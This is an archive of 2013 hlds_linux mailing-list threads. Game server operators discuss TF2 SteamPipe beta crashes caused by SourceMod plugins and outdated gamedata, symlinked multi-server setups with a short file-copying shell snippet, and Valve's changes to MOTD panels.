preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released
Unfortunately I'm now having (still sm_related) issues with a server crash immediately on a client joining a team, despite running the beta gamedata. Linux server, BTW. Anyone else having this or already know of the cause/fix? From: Ryan Stecker voidedwea...@gmail.com To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Thursday, April 25, 2013 5:50:59 PM Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released For updated gamedata that's compatible with steampipe, see: https://github.com/RavuAlHemio/sourcemod-beta-gamedata It's an unofficial repo, so your mileage may vary, but I've had reports from multiple people that the gamedata is up to date with steampipe. On Thu, Apr 25, 2013 at 3:29 PM, thesupremecommander thesupremec...@gmail.com wrote: Yes, indeed, although I would point out that Valve's already told server owners to convert to SteamPipe in preparation for the update anyway, but that's not something to be argued over the mailing list. I think there is some beta gamedata floating around somewhere that I'll try out to see whether the issues are fixed. On Thu, Apr 25, 2013 at 4:20 PM, DontWannaName! ad...@topnotchclan.com wrote: From what I understand there needs to be updated game data for steam pipe but they can't be synced in SM until its released. Sent from my iPhone 5 On Apr 25, 2013, at 1:18 PM, Bjorn Wielens uniac...@yahoo.ca wrote: It seems that any plugins using GetPlayerEyePosition() are casing crashes. Spraytrace is one example. I would imagine SMAC has a component that does so as well. From: thesupremecommander thesupremec...@gmail.com To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Wednesday, April 24, 2013 10:40:34 PM Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released I'll try reverting, then, but I did try dropping in the latest SM 1.5 snapshot earlier to no avail. I'll probably just stick with the core plugins until I can do more extensive testing. On Wed, Apr 24, 2013 at 9:07 PM, Nicholas Hastings psycho...@alliedmods.net wrote: SM does not officially support the beta version yet and will not until closer to its release, else it would be broken for the release version of the game. -- Nicholas Hastings AlliedMods.net compose-unknown-contact.jpg thesupremecommander Wednesday, April 24, 2013 9:04 PM Is anybody getting constant crashing with SourceMod? I seem to be getting the standard segfault whenever someone joins the server and can't pin it onto any one plugin, although crashing consistently disappears when I strip down to the latest SM 1.6 and MM:S 1.10 snapshots. -- thesupremecommander (Steam) Chief Admin, SPUFserver Chief Admin, OverPowered League ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds compose-unknown-contact.jpg Fletcher Dunn Tuesday, April 23, 2013 2:12 PM A mandatory update to the TF2 SteamPipe beta has been released. Although the update is mandatory (the PatchVersion has been bumped so you will need to upgrade your server in order to host clients running the latest version), your server will not automatically restart. Team Fortress 2: * Synced with release version of game Source engine: * VPK tool: Fixed bug with drag-and-drop creating bogus VPK files that could not be located by the engine. * Default mapcycle file moved to cstrike/cfg/mapcyclefile_default.txt. It will be loaded if no mapcycle.txt file can be found and convar is set to default name. * Mapcycle file will be loaded from cstrike/cfg directory if it exists, falling back to root cstrike directory otherwise. * Mapcycle file can be loaded from cstrike/custom/xxx/cfg directory * Mapcycle file parsing allows C-style comments and blank lines ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds -- thesupremecommander (Steam) Chief Admin, SPUFserver Chief Admin, OverPowered League ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences
Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released
I suspect I've found the culprits of the crashes, heads up if you are running afk_manager or superlogs_tf2 plugins, both of these caused server crashes immediately after joining a team for me. (Linux server) From: Fletcher Dunn fletch...@valvesoftware.com To: 'Bjorn Wielens' uniac...@yahoo.ca Sent: Thursday, April 25, 2013 9:17:58 PM Subject: RE: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released What's your server's IP? -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn Wielens Sent: Thursday, April 25, 2013 5:17 PM To: Half-Life dedicated Win32 server mailing list; hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released Unfortunately I'm now having (still sm_related) issues with a server crash immediately on a client joining a team, despite running the beta gamedata. Linux server, BTW. Anyone else having this or already know of the cause/fix? From: Ryan Stecker voidedwea...@gmail.com To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Thursday, April 25, 2013 5:50:59 PM Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released For updated gamedata that's compatible with steampipe, see: https://github.com/RavuAlHemio/sourcemod-beta-gamedata It's an unofficial repo, so your mileage may vary, but I've had reports from multiple people that the gamedata is up to date with steampipe. On Thu, Apr 25, 2013 at 3:29 PM, thesupremecommander thesupremec...@gmail.com wrote: Yes, indeed, although I would point out that Valve's already told server owners to convert to SteamPipe in preparation for the update anyway, but that's not something to be argued over the mailing list. I think there is some beta gamedata floating around somewhere that I'll try out to see whether the issues are fixed. On Thu, Apr 25, 2013 at 4:20 PM, DontWannaName! ad...@topnotchclan.com wrote: From what I understand there needs to be updated game data for steam pipe but they can't be synced in SM until its released. Sent from my iPhone 5 On Apr 25, 2013, at 1:18 PM, Bjorn Wielens uniac...@yahoo.ca wrote: It seems that any plugins using GetPlayerEyePosition() are casing crashes. Spraytrace is one example. I would imagine SMAC has a component that does so as well. From: thesupremecommander thesupremec...@gmail.com To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Wednesday, April 24, 2013 10:40:34 PM Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released I'll try reverting, then, but I did try dropping in the latest SM 1.5 snapshot earlier to no avail. I'll probably just stick with the core plugins until I can do more extensive testing. On Wed, Apr 24, 2013 at 9:07 PM, Nicholas Hastings psycho...@alliedmods.net wrote: SM does not officially support the beta version yet and will not until closer to its release, else it would be broken for the release version of the game. -- Nicholas Hastings AlliedMods.net compose-unknown-contact.jpg thesupremecommander Wednesday, April 24, 2013 9:04 PM Is anybody getting constant crashing with SourceMod? I seem to be getting the standard segfault whenever someone joins the server and can't pin it onto any one plugin, although crashing consistently disappears when I strip down to the latest SM 1.6 and MM:S 1.10 snapshots. -- thesupremecommander (Steam) Chief Admin, SPUFserver Chief Admin, OverPowered League ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds compose-unknown-contact.jpg Fletcher Dunn Tuesday, April 23, 2013 2:12 PM A mandatory update to the TF2 SteamPipe beta has been released. Although the update is mandatory (the PatchVersion has been bumped so you will need to upgrade your server in order to host clients running the latest version), your server will not automatically restart. Team Fortress 2: * Synced with release version of game Source engine: * VPK tool: Fixed bug with drag-and-drop creating bogus VPK files that could not be located by the engine. * Default mapcycle file moved to cstrike/cfg/mapcyclefile_default.txt. It will be loaded if no mapcycle.txt file can be found and convar is set to default name. * Mapcycle file will be loaded from cstrike/cfg directory if it exists, falling back to root cstrike directory otherwise. * Mapcycle file can be loaded from cstrike/custom/xxx/cfg directory * Mapcycle file parsing allows C-style comments and blank lines ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https
Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released
Thanks for the info. I'm running yesterday's MM 1.9.3 and SM 1.5 snapshots - are you perchance running 1.10/1.6? . superlogs is nice but not mission critical; I can live without jarate reporting in HLStats for a week until the official SM support is out. ;) From: thesupremecommander thesupremec...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 25, 2013 10:06:19 PM Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released Check your gamedata folder for any custom gamedata you may have, most if not all is out of date right now. I am running SuperLogs fine for now, although I had to compile it manually since I couldn't find a download for it. On Thu, Apr 25, 2013 at 8:49 PM, Bjorn Wielens uniac...@yahoo.ca wrote: I suspect I've found the culprits of the crashes, heads up if you are running afk_manager or superlogs_tf2 plugins, both of these caused server crashes immediately after joining a team for me. (Linux server) From: Fletcher Dunn fletch...@valvesoftware.com To: 'Bjorn Wielens' uniac...@yahoo.ca Sent: Thursday, April 25, 2013 9:17:58 PM Subject: RE: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released What's your server's IP? -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn Wielens Sent: Thursday, April 25, 2013 5:17 PM To: Half-Life dedicated Win32 server mailing list; hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] [hlds] Mandatory update to TF2 SteamPipe beta released Unfortunately I'm now having (still sm_related) issues with a server crash immediately on a client joining a team, despite running the beta gamedata. Linux server, BTW. Anyone else having this or already know of the cause/fix? From: Ryan Stecker voidedwea...@gmail.com To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Thursday, April 25, 2013 5:50:59 PM Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released For updated gamedata that's compatible with steampipe, see: https://github.com/RavuAlHemio/sourcemod-beta-gamedata It's an unofficial repo, so your mileage may vary, but I've had reports from multiple people that the gamedata is up to date with steampipe. On Thu, Apr 25, 2013 at 3:29 PM, thesupremecommander thesupremec...@gmail.com wrote: Yes, indeed, although I would point out that Valve's already told server owners to convert to SteamPipe in preparation for the update anyway, but that's not something to be argued over the mailing list. I think there is some beta gamedata floating around somewhere that I'll try out to see whether the issues are fixed. On Thu, Apr 25, 2013 at 4:20 PM, DontWannaName! ad...@topnotchclan.com wrote: From what I understand there needs to be updated game data for steam pipe but they can't be synced in SM until its released. Sent from my iPhone 5 On Apr 25, 2013, at 1:18 PM, Bjorn Wielens uniac...@yahoo.ca wrote: It seems that any plugins using GetPlayerEyePosition() are casing crashes. Spraytrace is one example. I would imagine SMAC has a component that does so as well. From: thesupremecommander thesupremec...@gmail.com To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Wednesday, April 24, 2013 10:40:34 PM Subject: Re: [hlds] Mandatory update to TF2 SteamPipe beta released I'll try reverting, then, but I did try dropping in the latest SM 1.5 snapshot earlier to no avail. I'll probably just stick with the core plugins until I can do more extensive testing. On Wed, Apr 24, 2013 at 9:07 PM, Nicholas Hastings psycho...@alliedmods.net wrote: SM does not officially support the beta version yet and will not until closer to its release, else it would be broken for the release version of the game. -- Nicholas Hastings AlliedMods.net compose-unknown-contact.jpg thesupremecommander Wednesday, April 24, 2013 9:04 PM Is anybody getting constant crashing with SourceMod? I seem to be getting the standard segfault whenever someone joins the server and can't pin it onto any one plugin, although crashing consistently disappears when I strip down to the latest SM 1.6 and MM:S 1.10 snapshots. -- thesupremecommander (Steam) Chief Admin, SPUFserver Chief Admin, OverPowered League ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds compose-unknown-contact.jpg Fletcher Dunn Tuesday, April 23, 2013 2:12 PM A mandatory update to the TF2 SteamPipe beta has been released. Although the update is mandatory (the PatchVersion has been
Re: [hlds_linux] Mandatory update to TF2 SteamPipe beta released
* Synced with release version of game Does this mean clients that have not opted in to a beta are able to connect to steampipe servers, or will they remain separate tracks until the 30th? From: Fletcher Dunn fletch...@valvesoftware.com To: Half-Life dedicated Linux server mailing list (hlds_linux@list.valvesoftware.com) hlds_linux@list.valvesoftware.com; Half-Life dedicated Win32 server mailing list (h...@list.valvesoftware.com) h...@list.valvesoftware.com; hlds_annou...@list.valvesoftware.com hlds_annou...@list.valvesoftware.com Sent: Tuesday, April 23, 2013 3:12:28 PM Subject: [hlds_linux] Mandatory update to TF2 SteamPipe beta released A mandatory update to the TF2 SteamPipe beta has been released. Although the update is mandatory (the PatchVersion has been bumped so you will need to upgrade your server in order to host clients running the latest version), your server will not automatically restart. Team Fortress 2: * Synced with release version of game Source engine: * VPK tool: Fixed bug with drag-and-drop creating bogus VPK files that could not be located by the engine. * Default mapcycle file moved to cstrike/cfg/mapcyclefile_default.txt. It will be loaded if no mapcycle.txt file can be found and convar is set to default name. * Mapcycle file will be loaded from cstrike/cfg directory if it exists, falling back to root cstrike directory otherwise. * Mapcycle file can be loaded from cstrike/custom/xxx/cfg directory * Mapcycle file parsing allows C-style comments and blank lines ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Symlinked Server Setup
Thanks all for the insight. I've also been looking at the forked server thread on alliedmods where it's mentioned that MM can be symlinked, but sourcemod should not be. I've got a pretty good idea now what I want to do after hearing how other folks manage it. We use CPGS to manage the servers so it won't be necessary to actually start/stop/restart them from the script - what I'm looking to write is just some scripts for rapid updating of metamod, sourcemod, and tf2, along with a rapid way to deploy a new install with our standard plugin and config loadout. Cheers! From: Erik-jan Riemers riem...@binkey.nl To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 18, 2013 4:54:58 AM Subject: Re: [hlds_linux] Symlinked Server Setup Well i am no isp, so I don’t have to keep that in mind. Also we use updater.smx which removes any symbolic links if a new update is out on the plugins. Looks nice the gui Ulrich, might come in handy for less scriptfull people. Only thing that was left, was there now an option to tell server owners which custom content it is allowed to load? I think not right? -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ulrich Block Sent: donderdag 18 april 2013 9:45 To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Symlinked Server Setup I am also using a symlink setup. My system has a masteruser which owns the masterfiles/server. This user is within the same group as the users that own the actual gameservers. Linking serverplugins decreases the needed adminsitration. Update mms/sm once and all your servers can make use of updated binaries. When I install a server or serverplugin like mms/sm I work in two passes. 1. pass is to copy files from master a user needs to edit (incomplete extension list und wrote down from my memory): cd masterfolder/ find -type f -name *.cfg -o -name *.ini -o -name *.smx | while read file; do if [ ! -d targetserver/`basename $file` ]; then mkdir -p targetserver/`basename $file`; fi cp $file targetserver/$file done 2. pass symlinks the rest recusive. Previously copied files won´t get overwritten: cp -sr /absolutepath/to/masterserver/* /absolutepath/to/targetserver/ If you only have a few servers and do not mind using an interface, you might be interested in easy-wi.com. It makes use of symlinks and has a free version. Am 18.04.2013 08:54, schrieb Erik-jan Riemers: This is my script what i have so far, i want to improve more on it when i have the time like making an easy way to upgrade metamod/sourcemod and update plugins too. http://pastebin.com/TzULi9M4 it keeps the configs of all servers in a .servers file which should make it easy to create and remove new servers to get default servers up and running quickly. Tested with tf2 and css. This is my own worklog to keep our other admins in the loop, http://wiki.lethal-zone.eu/pages/viewpage.action?pageId=7798805 feel free to copy it over if it has any value for you. But some of them asked what has changed, so made a diagram of it. If you see something wrong or have a better way, I am all ears. -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn Wielens Sent: donderdag 18 april 2013 2:39 To: Half-Life dedicated Linux server mailing list Subject: [hlds_linux] Symlinked Server Setup In light of the upcoming tf2 server switch to steampipe, I'm working on a new server setup which is symlinked, and I have a question I hope someone here can answer. Skip down two paragraphs to go straight to it, or read on for background on what I'm trying to do. Background: What I ultimately want to do is have several tf2 server directories (e.g. server1, server2, server3) which all have symlinks to the files in a single master directory to which updates are downloaded. These servers (1, 2 and 3) can then be customized as to their mapcycles/configs/etc, but don't use much additional disk space for each new install. My question pertains to addons, specifically SM/MM). I recall reading about some of this, but can't seem to hit the right combination of keywords to find it again via google. Here goes - Symlinking Sourcemod and Metamod: Can components of these (esp. plugins, configs) be symlinked or is it necessary to have a unique copy for each server? Also, is 232250 the final appid for tf2 steamcmd or will that become 440 at the actual switchover? Sorry if that's been answered before. Thanks! ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list
Re: [hlds_linux] Symlinked Server Setup
What I plan to do is keep two copies of the full srcds install. First one of them is updated. Then all the servers are shut down, and the new files are copied over to the second full install. The servers are symlinked to the second install. Best of both worlds ;) From: Russell Smith ve...@tinylittlerobots.us To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 18, 2013 1:41:33 PM Subject: Re: [hlds_linux] Symlinked Server Setup To piggy back on this thread, how are you guys handling srcds updates? The only disadvantage I can see with symlinking is you then cannot launch with -autoupdate on each of your instances, but you can't update the master copy either while the children are running. Are you guys then just manually shutting down all servers to update the master copy every update? On 4/18/2013 4:34 AM, Bjorn Wielens wrote: Thanks all for the insight. I've also been looking at the forked server thread on alliedmods where it's mentioned that MM can be symlinked, but sourcemod should not be. I've got a pretty good idea now what I want to do after hearing how other folks manage it. We use CPGS to manage the servers so it won't be necessary to actually start/stop/restart them from the script - what I'm looking to write is just some scripts for rapid updating of metamod, sourcemod, and tf2, along with a rapid way to deploy a new install with our standard plugin and config loadout. Cheers! From: Erik-jan Riemers riem...@binkey.nl To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 18, 2013 4:54:58 AM Subject: Re: [hlds_linux] Symlinked Server Setup Well i am no isp, so I don’t have to keep that in mind. Also we use updater.smx which removes any symbolic links if a new update is out on the plugins. Looks nice the gui Ulrich, might come in handy for less scriptfull people. Only thing that was left, was there now an option to tell server owners which custom content it is allowed to load? I think not right? -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ulrich Block Sent: donderdag 18 april 2013 9:45 To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Symlinked Server Setup I am also using a symlink setup. My system has a masteruser which owns the masterfiles/server. This user is within the same group as the users that own the actual gameservers. Linking serverplugins decreases the needed adminsitration. Update mms/sm once and all your servers can make use of updated binaries. When I install a server or serverplugin like mms/sm I work in two passes. 1. pass is to copy files from master a user needs to edit (incomplete extension list und wrote down from my memory): cd masterfolder/ find -type f -name *.cfg -o -name *.ini -o -name *.smx | while read file; do if [ ! -d targetserver/`basename $file` ]; then mkdir -p targetserver/`basename $file`; fi cp $file targetserver/$file done 2. pass symlinks the rest recusive. Previously copied files won´t get overwritten: cp -sr /absolutepath/to/masterserver/* /absolutepath/to/targetserver/ If you only have a few servers and do not mind using an interface, you might be interested in easy-wi.com. It makes use of symlinks and has a free version. Am 18.04.2013 08:54, schrieb Erik-jan Riemers: This is my script what i have so far, i want to improve more on it when i have the time like making an easy way to upgrade metamod/sourcemod and update plugins too. http://pastebin.com/TzULi9M4 it keeps the configs of all servers in a .servers file which should make it easy to create and remove new servers to get default servers up and running quickly. Tested with tf2 and css. This is my own worklog to keep our other admins in the loop, http://wiki.lethal-zone.eu/pages/viewpage.action?pageId=7798805 feel free to copy it over if it has any value for you. But some of them asked what has changed, so made a diagram of it. If you see something wrong or have a better way, I am all ears. -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn Wielens Sent: donderdag 18 april 2013 2:39 To: Half-Life dedicated Linux server mailing list Subject: [hlds_linux] Symlinked Server Setup In light of the upcoming tf2 server switch to steampipe, I'm working on a new server setup which is symlinked, and I have a question I hope someone here can answer. Skip down two paragraphs to go straight to it, or read on for background on what I'm trying to do. Background: What I ultimately want to do is have several tf2 server directories (e.g. server1, server2, server3) which all have symlinks
Re: [hlds_linux] Symlinked Server Setup
I know for sure doing this with sourcemod/Metamod _will_ crash your server. The binaries are loaded in memory, and overwriting them won't cause a crash until something requires access to them from disk and it doesn't match what's expected. If there are no actual changes to the binaries (say only new items), your server will probably chug along happily without issue. If those binaries have siginificant changes, _then_ you're likely to run into problems. From: Russell Smith ve...@tinylittlerobots.us To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 18, 2013 8:20:38 PM Subject: Re: [hlds_linux] Symlinked Server Setup How would this not cause a crash? You're overwriting the binaries that are currently running on your symlinked servers. On 18.04.2013 15:30, Nikooo777 wrote: That's just a waste of space. Use one base installation and when needed update it. Your game won't crash. If you have multiple gameservers then symlink the binaries etc and for each installation install mm and sm. Sent from Samsung Mobile Original message From: Bjorn Wielens uniac...@yahoo.ca Date: To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Subject: Re: [hlds_linux] Symlinked Server Setup What I plan to do is keep two copies of the full srcds install. First one of them is updated. Then all the servers are shut down, and the new files are copied over to the second full install. The servers are symlinked to the second install. Best of both worlds ;) From: Russell Smith ve...@tinylittlerobots.us To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 18, 2013 1:41:33 PM Subject: Re: [hlds_linux] Symlinked Server Setup To piggy back on this thread, how are you guys handling srcds updates? The only disadvantage I can see with symlinking is you then cannot launch with -autoupdate on each of your instances, but you can't update the master copy either while the children are running. Are you guys then just manually shutting down all servers to update the master copy every update? On 4/18/2013 4:34 AM, Bjorn Wielens wrote: Thanks all for the insight. I've also been looking at the forked server thread on alliedmods where it's mentioned that MM can be symlinked, but sourcemod should not be. I've got a pretty good idea now what I want to do after hearing how other folks manage it. We use CPGS to manage the servers so it won't be necessary to actually start/stop/restart them from the script - what I'm looking to write is just some scripts for rapid updating of metamod, sourcemod, and tf2, along with a rapid way to deploy a new install with our standard plugin and config loadout. Cheers! From: Erik-jan Riemers riem...@binkey.nl To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 18, 2013 4:54:58 AM Subject: Re: [hlds_linux] Symlinked Server Setup Well i am no isp, so I don’t have to keep that in mind. Also we use updater.smx which removes any symbolic links if a new update is out on the plugins. Looks nice the gui Ulrich, might come in handy for less scriptfull people. Only thing that was left, was there now an option to tell server owners which custom content it is allowed to load? I think not right? -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Ulrich Block Sent: donderdag 18 april 2013 9:45 To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Symlinked Server Setup I am also using a symlink setup. My system has a masteruser which owns the masterfiles/server. This user is within the same group as the users that own the actual gameservers. Linking serverplugins decreases the needed adminsitration. Update mms/sm once and all your servers can make use of updated binaries. When I install a server or serverplugin like mms/sm I work in two passes. 1. pass is to copy files from master a user needs to edit (incomplete extension list und wrote down from my memory): cd masterfolder/ find -type f -name *.cfg -o -name *.ini -o -name *.smx | while read file; do if [ ! -d targetserver/`basename $file` ]; then mkdir -p targetserver/`basename $file`; fi cp $file targetserver/$file done 2. pass symlinks the rest recusive. Previously copied files won´t get overwritten: cp -sr /absolutepath/to/masterserver/* /absolutepath/to/targetserver/ If you only have a few servers and do not mind using an interface, you might be interested in easy-wi.com. It makes use of symlinks and has a free version. Am 18.04.2013 08:54, schrieb Erik-jan Riemers: This is my script what i
[hlds_linux] Symlinked Server Setup
In light of the upcoming tf2 server switch to steampipe, I'm working on a new server setup which is symlinked, and I have a question I hope someone here can answer. Skip down two paragraphs to go straight to it, or read on for background on what I'm trying to do. Background: What I ultimately want to do is have several tf2 server directories (e.g. server1, server2, server3) which all have symlinks to the files in a single master directory to which updates are downloaded. These servers (1, 2 and 3) can then be customized as to their mapcycles/configs/etc, but don't use much additional disk space for each new install. My question pertains to addons, specifically SM/MM). I recall reading about some of this, but can't seem to hit the right combination of keywords to find it again via google. Here goes - Symlinking Sourcemod and Metamod: Can components of these (esp. plugins, configs) be symlinked or is it necessary to have a unique copy for each server? Also, is 232250 the final appid for tf2 steamcmd or will that become 440 at the actual switchover? Sorry if that's been answered before. Thanks! ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Mandatory Team Fortress 2 update released
I agree the implemented solution is not acceptable when there are better alternatives. We use MOTD panels for 3 main things: 1. General server/community info, and a list of our other servers (default MOTD). 2. Rules - accessed by typing !rules. We also have a plugin that displays this panel to players when admins issue them warnings or timeouts for rule violations. 3. Donate information panel. Also accessed only on request (!donate or something like that) 4.Radio (but not relevant since it's donators only). I think if a confirmation dialog is implemented, it should also have an option for a short text string that lets the user see WHY the server wants to display a MOTD to them. e.g. This server is trying to show you a MOTD for: Server Rules or This server is trying to show you a MOTD for: Sourcetunes Radio. Do you wish to view it? I'm surprised valve went ahead and implemented the solution they did, given the extensive discussion in the list about disabling MOTDs (before it went to pot). From: Peter Reinhold peter_va...@reinhold.dk To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 4, 2013 7:52:22 AM Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released On 04.04.2013 10:32, annarack wrote: What if, after a few returns to the same server, a notification is displayed to read the rules of the server which they must do and agree to to continue playing on the server. Pretty sure that would just scare players off. The best solution, as I see it, would be to re-use the popup/confirm as when you are redirected to another server. If a player has requested something, be it !rules, !radio, !bp or whatever, a confirm will not annoy them. (And maybe even have a Always allow MOTD for this server switch somewhere), but if you get an unsolicited popup every 2 minutes, my guess is that you would leave and go somewhere else. /Peter ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Mandatory Team Fortress 2 update released
Indeed. As a (medium-sized) community we don't run pinion because we despise it as much as the clients. That said, I completely support the right of server ops to use ads (legitimately) in an attempt to recover operating costs. I also support the rights of clients to block the ads, though. Ops pay for servers and can do with them as they see fit, and clients pay for their internet connection/bandwidth, and can do with the bits servers send them as they see fit. I agree that a lot of people don't realize the costs and amount of work that goes into running a community TF2 server. (In fact, this image sums up the menality quite nicely: http://dl.dropbox.com/u/38481337/servers.png) It'd be interesting if someone organized a TF2 blackout day like they did with SOPA to squash this mentality and educate folks what TF2 would be like if there weren't any folks investing time and money to run community servers. Then again, it'd probably fall on deaf ears from the 'HURR DURR BUT I PAID FOR TF2/TF2 IS FREE' crowd. From: Frank ad...@gamerscrib.net To: 'Half-Life dedicated Linux server mailing list' hlds_linux@list.valvesoftware.com Sent: Thursday, April 4, 2013 8:44:15 AM Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released They clearly listened to SPUF and all its crying over having to watch a few seconds of ads to support well managed servers they enjoyed playing. I'm surprised a few comments didn't include most of them thinking money grows on trees or falls from the sky like rain drops. A lesson in simple economics I think is needed to teach most of those kids the facts of life and the understanding that running these servers are NOT free and the money has to come from some place. As for uses well that's collateral damage to Valve whom again obviously only listened to the crying that went on within SPUF. -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Bjorn Wielens Sent: Thursday, April 04, 2013 7:39 AM To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released I agree the implemented solution is not acceptable when there are better alternatives. We use MOTD panels for 3 main things: 1. General server/community info, and a list of our other servers (default MOTD). 2. Rules - accessed by typing !rules. We also have a plugin that displays this panel to players when admins issue them warnings or timeouts for rule violations. 3. Donate information panel. Also accessed only on request (!donate or something like that) 4.Radio (but not relevant since it's donators only). I think if a confirmation dialog is implemented, it should also have an option for a short text string that lets the user see WHY the server wants to display a MOTD to them. e.g. This server is trying to show you a MOTD for: Server Rules or This server is trying to show you a MOTD for: Sourcetunes Radio. Do you wish to view it? I'm surprised valve went ahead and implemented the solution they did, given the extensive discussion in the list about disabling MOTDs (before it went to pot). ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Mandatory Team Fortress 2 update released
Should they go that route I don't see any reason those plugins couldn't be granted a valve-approved redirect link or community page that allows them to remain in use, or even the you are leaving the steam community... confirmation. From: Peter Reinhold peter_va...@reinhold.dk To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, April 4, 2013 10:01:09 AM Subject: Re: [hlds_linux] Mandatory Team Fortress 2 update released On 04.04.2013 11:52, Peter Reinhold wrote: The best solution, as I see it, would be to re-use the popup/confirm as when you are redirected to another server. Another possible solution (but this would take some work on Valves side) would be for servers to have either their own page in the community, a subpage on a steamgroup page or something like that. Then there could be, standardized, ways for players to open information about a server, both what group/community it belongs to, along with whatever else you could add to that page. A souped-up version of the L4D(2) community group feature, if you will, and that would keep all revelant links within Valves world, but would ofcourse break !radio, !bp, !stats etc. /Peter ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Mandatory Team Fortress 2 update released
